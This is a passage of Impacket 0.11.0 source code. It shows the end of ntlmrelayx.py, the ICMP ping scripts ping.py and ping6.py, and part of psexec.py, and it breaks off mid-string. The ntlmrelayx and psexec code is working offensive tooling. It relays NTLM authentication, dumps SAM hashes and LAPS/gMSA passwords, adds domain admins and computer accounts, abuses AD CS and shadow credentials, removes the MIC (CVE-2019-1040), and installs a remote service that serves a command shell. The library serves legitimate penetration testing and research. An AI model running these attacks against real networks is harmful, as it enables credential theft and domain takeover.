logging.info('No relay matching filter available!') elif("=" in line): logging.info('Expect target/username/admin = value') else: self.printTable(items, header=headers) else: logging.info('No Relays Available!') def do_startservers(self, line): if not self.serversRunning: start_servers(options, self.relayThreads) self.serversRunning = True logging.info('Relay servers started') else: logging.error('Relay servers are already running!') def do_stopservers(self, line): if self.serversRunning: stop_servers(self.relayThreads) self.serversRunning = False logging.info('Relay servers stopped') else: logging.error('Relay servers are already stopped!') def do_exit(self, line): print("Shutting down, please wait!") return True def do_EOF(self, line): return self.do_exit(line) def start_servers(options, threads): for server in RELAY_SERVERS: #Set up config c = NTLMRelayxConfig() c.setProtocolClients(PROTOCOL_CLIENTS) c.setRunSocks(options.socks, socksServer) c.setTargets(targetSystem) c.setExeFile(options.e) c.setCommand(options.c) c.setEnumLocalAdmins(options.enum_local_admins) c.setDisableMulti(options.no_multirelay) c.setEncoding(codec) c.setMode(mode) c.setAttacks(PROTOCOL_ATTACKS) c.setLootdir(options.lootdir) c.setOutputFile(options.output_file) c.setLDAPOptions(options.no_dump, options.no_da, options.no_acl, options.no_validate_privs, options.escalate_user, options.add_computer, options.delegate_access, options.dump_laps, options.dump_gmsa, options.dump_adcs, options.sid, options.add_dns_record) c.setRPCOptions(options.rpc_mode, options.rpc_use_smb, options.auth_smb, options.hashes_smb, options.rpc_smb_port) c.setMSSQLOptions(options.query) c.setInteractive(options.interactive) c.setIMAPOptions(options.keyword, options.mailbox, options.all, options.imap_max) c.setIPv6(options.ipv6) c.setWpadOptions(options.wpad_host, options.wpad_auth_num) c.setSMB2Support(options.smb2support) c.setSMBChallenge(options.ntlmchallenge) c.setInterfaceIp(options.interface_ip) c.setExploitOptions(options.remove_mic, options.remove_target) c.setWebDAVOptions(options.serve_image) c.setIsADCSAttack(options.adcs) c.setADCSOptions(options.template) c.setIsShadowCredentialsAttack(options.shadow_credentials) c.setShadowCredentialsOptions(options.shadow_target, options.pfx_password, options.export_type, options.cert_outfile_path) c.setAltName(options.altname) #If the redirect option is set, configure the HTTP server to redirect targets to SMB if server is HTTPRelayServer and options.r is not None: c.setMode('REDIRECT') c.setRedirectHost(options.r) #Use target randomization if configured and the server is not SMB if server is not SMBRelayServer and options.random: c.setRandomTargets(True) if server is HTTPRelayServer: c.setDomainAccount(options.machine_account, options.machine_hashes, options.domain) for port in options.http_port: c.setListeningPort(port) s = server(c) s.start() threads.add(s) sleep(0.1) continue elif server is SMBRelayServer: c.setListeningPort(options.smb_port) elif server is WCFRelayServer: c.setListeningPort(options.wcf_port) elif server is RAWRelayServer: c.setListeningPort(options.raw_port) s = server(c) s.start() threads.add(s) return c def stop_servers(threads): todelete = [] for thread in threads: if isinstance(thread, tuple(RELAY_SERVERS)): thread.server.shutdown() todelete.append(thread) # Now remove threads from the set for thread in todelete: threads.remove(thread) del thread # Process command-line arguments. if __name__ == '__main__': print(version.BANNER) #Parse arguments parser = argparse.ArgumentParser(add_help = False, description = "For every connection received, this module will " "try to relay that connection to specified target(s) system or the original client") parser._optionals.title = "Main options" #Main arguments parser.add_argument("-h","--help", action="help", help='show this help message and exit') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') parser.add_argument('-t',"--target", action='store', metavar = 'TARGET', help="Target to relay the credentials to, " "can be an IP, hostname or URL like domain\\username@host:port (domain\\username and port " "are optional, and don't forget to escape the '\\'). If unspecified, it will relay back " "to the client')") parser.add_argument('-tf', action='store', metavar = 'TARGETSFILE', help='File that contains targets by hostname or ' 'full URL, one per line') parser.add_argument('-w', action='store_true', help='Watch the target file for changes and update target list ' 'automatically (only valid with -tf)') parser.add_argument('-i','--interactive', action='store_true',help='Launch an smbclient, LDAP console or SQL shell instead' 'of executing a command after a successful relay. This console will listen locally on a ' ' tcp port and can be reached with for example netcat.') # Interface address specification parser.add_argument('-ip','--interface-ip', action='store', metavar='INTERFACE_IP', help='IP address of interface to ' 'bind SMB and HTTP servers',default='') serversoptions = parser.add_argument_group() serversoptions.add_argument('--no-smb-server', action='store_true', help='Disables the SMB server') serversoptions.add_argument('--no-http-server', action='store_true', help='Disables the HTTP server') serversoptions.add_argument('--no-wcf-server', action='store_true', help='Disables the WCF server') serversoptions.add_argument('--no-raw-server', action='store_true', help='Disables the RAW server') parser.add_argument('--smb-port', type=int, help='Port to listen on smb server', default=445) parser.add_argument('--http-port', help='Port(s) to listen on HTTP server. Can specify multiple ports by separating them with `,`, and ranges with `-`. Ex: `80,8000-8010`', default="80") parser.add_argument('--wcf-port', type=int, help='Port to listen on wcf server', default=9389) # ADWS parser.add_argument('--raw-port', type=int, help='Port to listen on raw server', default=6666) parser.add_argument('--no-multirelay', action="store_true", required=False, help='If set, disable multi-host relay (SMB and HTTP servers)') parser.add_argument('-ra','--random', action='store_true', help='Randomize target selection') parser.add_argument('-r', action='store', metavar = 'SMBSERVER', help='Redirect HTTP requests to a file:// path on SMBSERVER') parser.add_argument('-l','--lootdir', action='store', type=str, required=False, metavar = 'LOOTDIR',default='.', help='Loot ' 'directory in which gathered loot such as SAM dumps will be stored (default: current directory).') parser.add_argument('-of','--output-file', action='store',help='base output filename for encrypted hashes. Suffixes ' 'will be added for ntlm and ntlmv2') parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default ' '"%s"). If errors are detected, run chcp.com at the target, ' 'map the result with ' 'https://docs.python.org/3/library/codecs.html#standard-encodings and then execute ntlmrelayx.py ' 'again with -codec and the corresponding codec ' % sys.getdefaultencoding()) parser.add_argument('-smb2support', action="store_true", default=False, help='SMB2 Support') parser.add_argument('-ntlmchallenge', action="store", default=None, help='Specifies the NTLM server challenge used by the ' 'SMB Server (16 hex bytes long. eg: 1122334455667788)') parser.add_argument('-socks', action='store_true', default=False, help='Launch a SOCKS proxy for the connection relayed') parser.add_argument('-wh','--wpad-host', action='store',help='Enable serving a WPAD file for Proxy Authentication attack, ' 'setting the proxy host to the one supplied.') parser.add_argument('-wa','--wpad-auth-num', action='store', type=int, default=1, help='Prompt for authentication N times for clients without MS16-077 installed ' 'before serving a WPAD file. (default=1)') parser.add_argument('-6','--ipv6', action='store_true',help='Listen on both IPv6 and IPv4') parser.add_argument('--remove-mic', action='store_true',help='Remove MIC (exploit CVE-2019-1040)') parser.add_argument('--serve-image', action='store',help='local path of the image that will we returned to clients') parser.add_argument('-c', action='store', type=str, required=False, metavar = 'COMMAND', help='Command to execute on ' 'target system (for SMB and RPC). If not specified for SMB, hashes will be dumped (secretsdump.py must be' ' in the same directory). For RPC no output will be provided.') #SMB arguments smboptions = parser.add_argument_group("SMB client options") smboptions.add_argument('-e', action='store', required=False, metavar = 'FILE', help='File to execute on the target system. ' 'If not specified, hashes will be dumped (secretsdump.py must be in the same directory)') smboptions.add_argument('--enum-local-admins', action='store_true', required=False, help='If relayed user is not admin, attempt SAMR lookup to see who is (only works pre Win 10 Anniversary)') #RPC arguments rpcoptions = parser.add_argument_group("RPC client options") rpcoptions.add_argument('-rpc-mode', choices=["TSCH"], default="TSCH", help='Protocol to attack, only TSCH supported') rpcoptions.add_argument('-rpc-use-smb', action='store_true', required=False, help='Relay DCE/RPC to SMB pipes') rpcoptions.add_argument('-auth-smb', action='store', required=False, default='', metavar='[domain/]username[:password]', help='Use this credential to authenticate to SMB (low-privilege account)') rpcoptions.add_argument('-hashes-smb', action='store', required=False, metavar="LMHASH:NTHASH") rpcoptions.add_argument('-rpc-smb-port', type=int, choices=[139, 445], default=445, help='Destination port to connect to SMB') #MSSQL arguments mssqloptions = parser.add_argument_group("MSSQL client options") mssqloptions.add_argument('-q','--query', action='append', required=False, metavar = 'QUERY', help='MSSQL query to execute' '(can specify multiple)') #HTTPS options httpoptions = parser.add_argument_group("HTTP options") httpoptions.add_argument('-machine-account', action='store', required=False, help='Domain machine account to use when interacting with the domain to grab a session key for ' 'signing, format is domain/machine_name') httpoptions.add_argument('-machine-hashes', action="store", metavar="LMHASH:NTHASH", help='Domain machine hashes, format is LMHASH:NTHASH') httpoptions.add_argument('-domain', action="store", help='Domain FQDN or IP to connect using NETLOGON') httpoptions.add_argument('-remove-target', action='store_true', default=False, help='Try to remove the target in the challenge message (in case CVE-2019-1019 patch is not installed)') #LDAP options ldapoptions = parser.add_argument_group("LDAP client options") ldapoptions.add_argument('--no-dump', action='store_false', required=False, help='Do not attempt to dump LDAP information') ldapoptions.add_argument('--no-da', action='store_false', required=False, help='Do not attempt to add a Domain Admin') ldapoptions.add_argument('--no-acl', action='store_false', required=False, help='Disable ACL attacks') ldapoptions.add_argument('--no-validate-privs', action='store_false', required=False, help='Do not attempt to enumerate privileges, assume permissions are granted to escalate a user via ACL attacks') ldapoptions.add_argument('--escalate-user', action='store', required=False, help='Escalate privileges of this user instead of creating a new one') ldapoptions.add_argument('--add-computer', action='store', metavar=('COMPUTERNAME', 'PASSWORD'), required=False, nargs='*', help='Attempt to add a new computer account') ldapoptions.add_argument('--delegate-access', action='store_true', required=False, help='Delegate access on relayed computer account to the specified account') ldapoptions.add_argument('--sid', action='store_true', required=False, help='Use a SID to delegate access rather than an account name') ldapoptions.add_argument('--dump-laps', action='store_true', required=False, help='Attempt to dump any LAPS passwords readable by the user') ldapoptions.add_argument('--dump-gmsa', action='store_true', required=False, help='Attempt to dump any gMSA passwords readable by the user') ldapoptions.add_argument('--dump-adcs', action='store_true', required=False, help='Attempt to dump ADCS enrollment services and certificate templates info') ldapoptions.add_argument('--add-dns-record', nargs=2, action='store', metavar=('NAME', 'IPADDR'), required=False, help='Add the record to DNS via LDAP pointing to ') #IMAP options imapoptions = parser.add_argument_group("IMAP client options") imapoptions.add_argument('-k','--keyword', action='store', metavar="KEYWORD", required=False, default="password", help='IMAP keyword to search for. ' 'If not specified, will search for mails containing "password"') imapoptions.add_argument('-m','--mailbox', action='store', metavar="MAILBOX", required=False, default="INBOX", help='Mailbox name to dump. Default: INBOX') imapoptions.add_argument('-a','--all', action='store_true', required=False, help='Instead of searching for keywords, ' 'dump all emails') imapoptions.add_argument('-im','--imap-max', action='store',type=int, required=False,default=0, help='Max number of emails to dump ' '(0 = unlimited, default: no limit)') # AD CS options adcsoptions = parser.add_argument_group("AD CS attack options") adcsoptions.add_argument('--adcs', action='store_true', required=False, help='Enable AD CS relay attack') adcsoptions.add_argument('--template', action='store', metavar="TEMPLATE", required=False, help='AD CS template. Defaults to Machine or User whether relayed account name ends with `$`. Relaying a DC should require specifying `DomainController`') adcsoptions.add_argument('--altname', action='store', metavar="ALTNAME", required=False, help='Subject Alternative Name to use when performing ESC1 or ESC6 attacks.') # Shadow Credentials attack options shadowcredentials = parser.add_argument_group("Shadow Credentials attack options") shadowcredentials.add_argument('--shadow-credentials', action='store_true', required=False, help='Enable Shadow Credentials relay attack (msDS-KeyCredentialLink manipulation for PKINIT pre-authentication)') shadowcredentials.add_argument('--shadow-target', action='store', required=False, help='target account (user or computer$) to populate msDS-KeyCredentialLink from') shadowcredentials.add_argument('--pfx-password', action='store', required=False, help='password for the PFX stored self-signed certificate (will be random if not set, not needed when exporting to PEM)') shadowcredentials.add_argument('--export-type', action='store', required=False, choices=["PEM", "PFX"], type=lambda choice: choice.upper(), default="PFX", help='choose to export cert+private key in PEM or PFX (i.e. #PKCS12) (default: PFX))') shadowcredentials.add_argument('--cert-outfile-path', action='store', required=False, help='filename to store the generated self-signed PEM or PFX certificate and key') try: options = parser.parse_args() except Exception as e: logging.error(str(e)) sys.exit(1) if options.rpc_use_smb and not options.auth_smb: logging.error("Set -auth-smb to relay DCE/RPC to SMB pipes") sys.exit(1) # Init the example's logger theme logger.init(options.ts) if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) # Print the Library's installation path logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) # Let's register the protocol clients we have # ToDo: Do this better somehow from impacket.examples.ntlmrelayx.clients import PROTOCOL_CLIENTS from impacket.examples.ntlmrelayx.attacks import PROTOCOL_ATTACKS if options.add_dns_record: dns_name = options.add_dns_record[0].lower() if dns_name == 'wpad' or dns_name == '*': logging.warning('You are asking to add a `wpad` or a wildcard DNS name. This can cause disruption in larger networks (using multiple DNS subdomains) or if workstations already use a proxy config.') if options.codec is not None: codec = options.codec else: codec = sys.getdefaultencoding() if options.target is not None: logging.info("Running in relay mode to single host") mode = 'RELAY' targetSystem = TargetsProcessor(singleTarget=options.target, protocolClients=PROTOCOL_CLIENTS, randomize=options.random) # Disabling multirelay feature (Single host + general candidate) if targetSystem.generalCandidates: options.no_multirelay = True else: if options.tf is not None: #Targetfile specified logging.info("Running in relay mode to hosts in targetfile") targetSystem = TargetsProcessor(targetListFile=options.tf, protocolClients=PROTOCOL_CLIENTS, randomize=options.random) mode = 'RELAY' else: logging.info("Running in reflection mode") targetSystem = None mode = 'REFLECTION' if not options.no_smb_server: RELAY_SERVERS.append(SMBRelayServer) if not options.no_http_server: RELAY_SERVERS.append(HTTPRelayServer) try: options.http_port = parse_listening_ports(options.http_port) except ValueError: logging.error("Incorrect specification of port range for HTTP server") sys.exit(1) if options.r is not None: logging.info("Running HTTP server in redirect mode") if not options.no_wcf_server: RELAY_SERVERS.append(WCFRelayServer) if not options.no_raw_server: RELAY_SERVERS.append(RAWRelayServer) if targetSystem is not None and options.w: watchthread = TargetsFileWatcher(targetSystem) watchthread.start() threads = set() socksServer = None if options.socks is True: # Start a SOCKS proxy in the background socksServer = SOCKS() socksServer.daemon_threads = True socks_thread = Thread(target=socksServer.serve_forever) socks_thread.daemon = True socks_thread.start() threads.add(socks_thread) c = start_servers(options, threads) print("") logging.info("Servers started, waiting for connections") try: if options.socks: shell = MiniShell(c, threads) shell.cmdloop() else: sys.stdin.read() except KeyboardInterrupt: pass else: pass if options.socks is True: socksServer.shutdown() del socksServer for s in threads: del s sys.exit(0) impacket-impacket_0_11_0/examples/ping.py000077500000000000000000000051261446174712300205520ustar00rootroot00000000000000#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # Simple ICMP ping. # # This implementation of ping uses the ICMP echo and echo-reply packets # to check the status of a host. If the remote host is up, it should reply # to the echo probe with an echo-reply packet. # Note that this isn't a definite test, as in the case the remote host is up # but refuses to reply the probes. # Also note that the user must have special access to be able to open a raw # socket, which this program requires. # # Authors: # Gerardo Richarte (@gerasdf) # Javier Kohen # # Reference for: # ImpactPacket: IP, ICMP, DATA # ImpactDecoder # import select import socket import time import sys from impacket import ImpactDecoder, ImpactPacket if len(sys.argv) < 3: print("Use: %s " % sys.argv[0]) sys.exit(1) src = sys.argv[1] dst = sys.argv[2] # Create a new IP packet and set its source and destination addresses. ip = ImpactPacket.IP() ip.set_ip_src(src) ip.set_ip_dst(dst) # Create a new ICMP packet of type ECHO. icmp = ImpactPacket.ICMP() icmp.set_icmp_type(icmp.ICMP_ECHO) # Include a 156-character long payload inside the ICMP packet. icmp.contains(ImpactPacket.Data(b"A"*156)) # Have the IP packet contain the ICMP packet (along with its payload). ip.contains(icmp) # Open a raw socket. Special permissions are usually required. s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) seq_id = 0 while 1: # Give the ICMP packet the next ID in the sequence. seq_id += 1 icmp.set_icmp_id(seq_id) # Calculate its checksum. icmp.set_icmp_cksum(0) icmp.auto_checksum = 1 # Send it to the target host. s.sendto(ip.get_packet(), (dst, 0)) # Wait for incoming replies. if s in select.select([s], [], [], 1)[0]: reply = s.recvfrom(2000)[0] # Use ImpactDecoder to reconstruct the packet hierarchy. rip = ImpactDecoder.IPDecoder().decode(reply) # Extract the ICMP packet from its container (the IP packet). ricmp = rip.child() # If the packet matches, report it to the user. if rip.get_ip_dst() == src and rip.get_ip_src() == dst and icmp.ICMP_ECHOREPLY == ricmp.get_icmp_type(): print("Ping reply for sequence #%d" % ricmp.get_icmp_id()) time.sleep(1) impacket-impacket_0_11_0/examples/ping6.py000077500000000000000000000047161446174712300206440ustar00rootroot00000000000000#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # Simple ICMP6 ping. # # This implementation of ping uses the ICMP echo and echo-reply packets # to check the status of a host. If the remote host is up, it should reply # to the echo probe with an echo-reply packet. # Note that this isn't a definite test, as in the case the remote host is up # but refuses to reply the probes. # Also note that the user must have special access to be able to open a raw # socket, which this program requires. # # Authors: # Alberto Solino (@agsolino) # # Reference for: # ImpactPacket: ICMP6 # ImpactDecoder # import select import socket import time import sys from impacket import ImpactDecoder, IP6, ICMP6, version print(version.BANNER) if len(sys.argv) < 3: print("Use: %s " % sys.argv[0]) sys.exit(1) src = sys.argv[1] dst = sys.argv[2] # Create a new IP packet and set its source and destination addresses. ip = IP6.IP6() ip.set_ip_src(src) ip.set_ip_dst(dst) ip.set_traffic_class(0) ip.set_flow_label(0) ip.set_hop_limit(64) # Open a raw socket. Special permissions are usually required. s = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_ICMPV6) payload = b"A"*156 print("PING %s %d data bytes" % (dst, len(payload))) seq_id = 0 while 1: # Give the ICMP packet the next ID in the sequence. seq_id += 1 icmp = ICMP6.ICMP6.Echo_Request(1, seq_id, payload) # Have the IP packet contain the ICMP packet (along with its payload). ip.contains(icmp) ip.set_next_header(ip.child().get_ip_protocol_number()) ip.set_payload_length(ip.child().get_size()) icmp.calculate_checksum() # Send it to the target host. s.sendto(icmp.get_packet(), (dst, 0)) # Wait for incoming replies. if s in select.select([s], [], [], 1)[0]: reply = s.recvfrom(2000)[0] # Use ImpactDecoder to reconstruct the packet hierarchy. rip = ImpactDecoder.ICMP6Decoder().decode(reply) # If the packet matches, report it to the user. if ICMP6.ICMP6.ECHO_REPLY == rip.get_type(): print("%d bytes from %s: icmp_seq=%d " % (rip.child().get_size()-4, dst, rip.get_echo_sequence_number())) time.sleep(1) impacket-impacket_0_11_0/examples/psexec.py000077500000000000000000000732271446174712300211130ustar00rootroot00000000000000#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # PSEXEC like functionality example using RemComSvc (https://github.com/kavika13/RemCom) # # Author: # beto (@agsolino) # # Reference for: # DCE/RPC and SMB. # import sys import os import re import cmd import logging from threading import Thread, Lock import argparse import random import string import time from six import PY3 from impacket.examples import logger from impacket import version, smb from impacket.smbconnection import SMBConnection from impacket.dcerpc.v5 import transport from impacket.structure import Structure from impacket.examples import remcomsvc, serviceinstall from impacket.examples.utils import parse_target from impacket.krb5.keytab import Keytab CODEC = sys.stdout.encoding class RemComMessage(Structure): structure = ( ('Command','4096s=""'), ('WorkingDir','260s=""'), ('Priority',' 0: try: s.waitNamedPipe(tid,pipe) pipeReady = True except: tries -= 1 time.sleep(2) pass if tries == 0: raise Exception('Pipe not ready, aborting') fid = s.openFile(tid,pipe,accessMask, creationOption = 0x40, fileAttributes = 0x80) return fid def doStuff(self, rpctransport): dce = rpctransport.get_dce_rpc() try: dce.connect() except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.critical(str(e)) sys.exit(1) global dialect dialect = rpctransport.get_smb_connection().getDialect() try: unInstalled = False s = rpctransport.get_smb_connection() # We don't wanna deal with timeouts from now on. s.setTimeout(100000) if self.__exeFile is None: installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), remcomsvc.RemComSvc(), self.__serviceName, self.__remoteBinaryName) else: try: f = open(self.__exeFile, 'rb') except Exception as e: logging.critical(str(e)) sys.exit(1) installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), f, self.__serviceName, self.__remoteBinaryName) if installService.install() is False: return if self.__exeFile is not None: f.close() # Check if we need to copy a file for execution if self.__copyFile is not None: installService.copy_file(self.__copyFile, installService.getShare(), os.path.basename(self.__copyFile)) # And we change the command to be executed to this filename self.__command = os.path.basename(self.__copyFile) + ' ' + self.__command tid = s.connectTree('IPC$') fid_main = self.openPipe(s,tid,r'\RemCom_communicaton',0x12019f) packet = RemComMessage() pid = os.getpid() packet['Machine'] = ''.join([random.choice(string.ascii_letters) for _ in range(4)]) if self.__path is not None: packet['WorkingDir'] = self.__path packet['Command'] = self.__command packet['ProcessID'] = pid s.writeNamedPipe(tid, fid_main, packet.getData()) # Here we'll store the command we type so we don't print it back ;) # ( I know.. globals are nasty :P ) global LastDataSent LastDataSent = '' # Create the pipes threads stdin_pipe = RemoteStdInPipe(rpctransport, r'\%s%s%d' % (RemComSTDIN, packet['Machine'], packet['ProcessID']), smb.FILE_WRITE_DATA | smb.FILE_APPEND_DATA, installService.getShare()) stdin_pipe.start() stdout_pipe = RemoteStdOutPipe(rpctransport, r'\%s%s%d' % (RemComSTDOUT, packet['Machine'], packet['ProcessID']), smb.FILE_READ_DATA) stdout_pipe.start() stderr_pipe = RemoteStdErrPipe(rpctransport, r'\%s%s%d' % (RemComSTDERR, packet['Machine'], packet['ProcessID']), smb.FILE_READ_DATA) stderr_pipe.start() # And we stay here till the end ans = s.readNamedPipe(tid,fid_main,8) if len(ans): retCode = RemComResponse(ans) logging.info("Process %s finished with ErrorCode: %d, ReturnCode: %d" % ( self.__command, retCode['ErrorCode'], retCode['ReturnCode'])) installService.uninstall() if self.__copyFile is not None: # We copied a file for execution, let's remove it s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile)) unInstalled = True sys.exit(retCode['ErrorCode']) except SystemExit: raise except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.debug(str(e)) if unInstalled is False: installService.uninstall() if self.__copyFile is not None: s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile)) sys.stdout.flush() sys.exit(1) class Pipes(Thread): def __init__(self, transport, pipe, permissions, share=None): Thread.__init__(self) self.server = 0 self.transport = transport self.credentials = transport.get_credentials() self.tid = 0 self.fid = 0 self.share = share self.port = transport.get_dport() self.pipe = pipe self.permissions = permissions self.daemon = True def connectPipe(self): try: lock.acquire() global dialect #self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT) self.server = SMBConnection(self.transport.get_smb_connection().getRemoteName(), self.transport.get_smb_connection().getRemoteHost(), sess_port=self.port, preferredDialect=dialect) user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials if self.transport.get_kerberos() is True: self.server.kerberosLogin(user, passwd, domain, lm, nt, aesKey, kdcHost=self.transport.get_kdcHost(), TGT=TGT, TGS=TGS) else: self.server.login(user, passwd, domain, lm, nt) lock.release() self.tid = self.server.connectTree('IPC$') self.server.waitNamedPipe(self.tid, self.pipe) self.fid = self.server.openFile(self.tid,self.pipe,self.permissions, creationOption = 0x40, fileAttributes = 0x80) self.server.setTimeout(1000000) except: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error("Something wen't wrong connecting the pipes(%s), try again" % self.__class__) class RemoteStdOutPipe(Pipes): def __init__(self, transport, pipe, permisssions): Pipes.__init__(self, transport, pipe, permisssions) def run(self): self.connectPipe() global LastDataSent if PY3: __stdoutOutputBuffer, __stdoutData = b"", b"" while True: try: stdout_ans = self.server.readFile(self.tid, self.fid, 0, 1024) except: pass else: try: if stdout_ans != LastDataSent: if len(stdout_ans) != 0: # Append new data to the buffer while there is data to read __stdoutOutputBuffer += stdout_ans promptRegex = rb'([a-zA-Z]:[\\\/])((([a-zA-Z0-9 -\.]*)[\\\/]?)+(([a-zA-Z0-9 -\.]+))?)?>$' endsWithPrompt = bool(re.match(promptRegex, __stdoutOutputBuffer) is not None) if endsWithPrompt == True: # All data, we shouldn't have encoding errors # Adding a space after the prompt because it's beautiful __stdoutData = __stdoutOutputBuffer + b" " # Remainder data for next iteration __stdoutOutputBuffer = b"" # print("[+] endsWithPrompt") # print(" | __stdoutData:",__stdoutData) # print(" | __stdoutOutputBuffer:",__stdoutOutputBuffer) elif b'\n' in __stdoutOutputBuffer: # We have read a line, print buffer if it is not empty lines = __stdoutOutputBuffer.split(b"\n") # All lines, we shouldn't have encoding errors __stdoutData = b"\n".join(lines[:-1]) + b"\n" # Remainder data for next iteration __stdoutOutputBuffer = lines[-1] # print("[+] newline in __stdoutOutputBuffer") # print(" | __stdoutData:",__stdoutData) # print(" | __stdoutOutputBuffer:",__stdoutOutputBuffer) if len(__stdoutData) != 0: # There is data to print try: sys.stdout.write(__stdoutData.decode(CODEC)) sys.stdout.flush() __stdoutData = b"" except UnicodeDecodeError: logging.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with ' 'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute smbexec.py ' 'again with -codec and the corresponding codec') print(__stdoutData.decode(CODEC, errors='replace')) __stdoutData = b"" else: # Don't echo the command that was sent, and clear it up LastDataSent = b"" # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars, # it will give false positives tho.. we should find a better way to handle this. # if LastDataSent > 10: # LastDataSent = '' except: pass else: __stdoutOutputBuffer, __stdoutData = "", "" while True: try: stdout_ans = self.server.readFile(self.tid, self.fid, 0, 1024) except: pass else: try: if stdout_ans != LastDataSent: if len(stdout_ans) != 0: # Append new data to the buffer while there is data to read __stdoutOutputBuffer += stdout_ans promptRegex = r'([a-zA-Z]:[\\\/])((([a-zA-Z0-9 -\.]*)[\\\/]?)+(([a-zA-Z0-9 -\.]+))?)?>$' endsWithPrompt = bool(re.match(promptRegex, __stdoutOutputBuffer) is not None) if endsWithPrompt: # All data, we shouldn't have encoding errors # Adding a space after the prompt because it's beautiful __stdoutData = __stdoutOutputBuffer + " " # Remainder data for next iteration __stdoutOutputBuffer = "" elif '\n' in __stdoutOutputBuffer: # We have read a line, print buffer if it is not empty lines = __stdoutOutputBuffer.split("\n") # All lines, we shouldn't have encoding errors __stdoutData = "\n".join(lines[:-1]) + "\n" # Remainder data for next iteration __stdoutOutputBuffer = lines[-1] if len(__stdoutData) != 0: # There is data to print sys.stdout.write(__stdoutData.decode(CODEC)) sys.stdout.flush() __stdoutData = "" else: # Don't echo the command that was sent, and clear it up LastDataSent = "" # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars, # it will give false positives tho.. we should find a better way to handle this. # if LastDataSent > 10: # LastDataSent = '' except Exception as e: pass class RemoteStdErrPipe(Pipes): def __init__(self, transport, pipe, permisssions): Pipes.__init__(self, transport, pipe, permisssions) def run(self): self.connectPipe() if PY3: __stderrOutputBuffer, __stderrData = b'', b'' while True: try: stderr_ans = self.server.readFile(self.tid, self.fid, 0, 1024) except: pass else: try: if len(stderr_ans) != 0: # Append new data to the buffer while there is data to read __stderrOutputBuffer += stderr_ans if b'\n' in __stderrOutputBuffer: # We have read a line, print buffer if it is not empty lines = __stderrOutputBuffer.split(b"\n") # All lines, we shouldn't have encoding errors __stderrData = b"\n".join(lines[:-1]) + b"\n" # Remainder data for next iteration __stderrOutputBuffer = lines[-1] if len(__stderrData) != 0: # There is data to print try: sys.stdout.write(__stderrData.decode(CODEC)) sys.stdout.flush() __stderrData = b"" except UnicodeDecodeError: logging.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with ' 'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute smbexec.py ' 'again with -codec and the corresponding codec') print(__stderrData.decode(CODEC, errors='replace')) __stderrData = b"" else: # Don't echo the command that was sent, and clear it up LastDataSent = b"" # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars, # it will give false positives tho.. we should find a better way to handle this. # if LastDataSent > 10: # LastDataSent = '' except Exception as e: pass else: __stderrOutputBuffer, __stderrData = '', '' while True: try: stderr_ans = self.server.readFile(self.tid, self.fid, 0, 1024) except: pass else: try: if len(stderr_ans) != 0: # Append new data to the buffer while there is data to read __stderrOutputBuffer += stderr_ans if '\n' in __stderrOutputBuffer: # We have read a line, print buffer if it is not empty lines = __stderrOutputBuffer.split("\n") # All lines, we shouldn't have encoding errors __stderrData = "\n".join(lines[:-1]) + "\n" # Remainder data for next iteration __stderrOutputBuffer = lines[-1] if len(__stderrData) != 0: # There is data to print sys.stdout.write(__stderrData.decode(CODEC)) sys.stdout.flush() __stderrData = "" else: # Don't echo the command that was sent, and clear it up LastDataSent = "" # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars, # it will give false positives tho.. we should find a better way to handle this. # if LastDataSent > 10: # LastDataSent = '' except: pass class RemoteShell(cmd.Cmd): def __init__(self, server, port, credentials, tid, fid, share, transport): cmd.Cmd.__init__(self, False) self.prompt = '\x08' self.server = server self.transferClient = None self.tid = tid self.fid = fid self.credentials = credentials self.share = share self.port = port self.transport = transport self.intro = '[!] Press help for extra shell commands' def connect_transferClient(self): #self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT) self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port, preferredDialect=dialect) user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials if self.transport.get_kerberos() is True: self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey, kdcHost=self.transport.get_kdcHost(), TGT=TGT, TGS=TGS) else: self.transferClient.login(user, passwd, domain, lm, nt) def do_help(self, line): print(""" lcd {path} - changes the current local directory to {path} exit - terminates the server process (and this session) lput {src_file, dst_path} - uploads a local file to the dst_path RELATIVE to the connected share (%s) lget {file} - downloads pathname RELATIVE 